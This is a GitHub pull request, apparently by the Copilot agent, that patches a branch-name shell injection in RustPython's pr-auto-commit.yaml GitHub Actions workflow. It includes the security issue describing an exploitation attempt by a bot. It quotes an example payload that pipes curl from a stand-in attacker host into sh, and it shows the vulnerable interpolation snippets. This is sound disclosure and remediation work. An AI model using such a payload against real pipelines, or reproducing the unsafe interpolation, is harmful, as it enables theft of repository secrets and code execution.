◐ Shell
clean mode source ↗

Fix shell injection via branch name in pr-auto-commit.yaml by Copilot · Pull Request #7314 · RustPython/RustPython

pr-auto-commit.yaml runs under pull_request_target (base-repo context, access to secrets) and directly interpolates ${{ github.event.pull_request.head.ref }} into run: shell blocks — an attacker-controlled branch name like main$(curl attacker.com | sh) executes arbitrary code with access to AUTO_COMMIT_PAT and GITHUB_TOKEN. This was actively exploited by hackerbot-claw on 2026-03-02.

Changes

  • Push step: Move branch name out of inline expression into an env var; reference via "$HEAD_REF" in shell.

    # Before
    run: |
      git push origin HEAD:${{ github.event.pull_request.head.ref }}
    
    # After
    env:
      HEAD_REF: ${{ github.event.pull_request.head.ref }}
    run: |
      git push origin HEAD:"$HEAD_REF"
  • Comment step: Capture the branch name safely as a step output (echo "head_ref=$HEAD_REF" >> $GITHUB_OUTPUT) and reference ${{ steps.committed-commands.outputs.head_ref }} in the message instead of re-interpolating head.ref directly.

Original prompt

This section details on the original issue you should resolve

<issue_title>Security: Branch name injection in pr-auto-commit.yaml — actively exploited by hackerbot-claw</issue_title>
<issue_description>## Summary

The pr-auto-commit.yaml workflow is vulnerable to shell command injection via branch names. The ${{ github.event.pull_request.head.ref }} expression is interpolated directly into run: blocks without sanitization, allowing an attacker to execute arbitrary commands on the GitHub Actions runner with access to repository secrets (including AUTO_COMMIT_PAT).

This vulnerability has already been exploited. On March 2, 2026, the account hackerbot-claw — an autonomous bot that has been attacking CI/CD pipelines across major open source projects — opened two PRs (#7308, #7309) with a malicious branch name designed to trigger code execution. The payload partially executed on the CI runner but failed due to a base64 encoding issue — not because of any security control.

Vulnerable Code

File: .github/workflows/pr-auto-commit.yaml

Primary injection point — "Push formatting changes" step (line ~97):

- name: Push formatting changes
  if: steps.check-changes.outputs.has_changes == 'true'
  run: |
    git push origin HEAD:${{ github.event.pull_request.head.ref }}

Secondary injection point — "Comment on PR" step (line ~119):

git pull origin ${{ github.event.pull_request.head.ref }}

Because the workflow uses pull_request_target, it runs in the context of the base repository with access to secrets and write permissions. The attacker controls the branch name (head.ref) via their fork.

Evidence from workflow runs

  • Run 22563211110 (PR Update bench.sh #7308): The injection step was skipped because has_changes was false — the trivial change to bench.sh didn't trigger formatting differences.

  • Run 22563415110 (PR Update execution.rs #7309): The injection step executed. The build log shows base64: invalid input, confirming the shell evaluated the command substitution. The full payload failed due to an encoding issue in the branch name, but the base64 -d command did run on the runner.

Impact

If the payload had succeeded, the attacker would have had access to:

  • AUTO_COMMIT_PAT — a Personal Access Token available as a secret in this workflow, which could be used to push commits, modify code, or potentially take over the repository (similar to what happened to aquasecurity/trivy in the same campaign)
  • GITHUB_TOKEN with contents: write and pull-requests: write permissions

Context

https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation
</issue_description>

<agent_instructions>Create a patch to prevent injection by following the description</agent_instructions>

Comments on the Issue (you are @copilot in this section)


🔒 GitHub Advanced Security automatically protects Copilot coding agent pull requests. You can protect all pull requests by enabling Advanced Security for your repositories. Learn more about Advanced Security.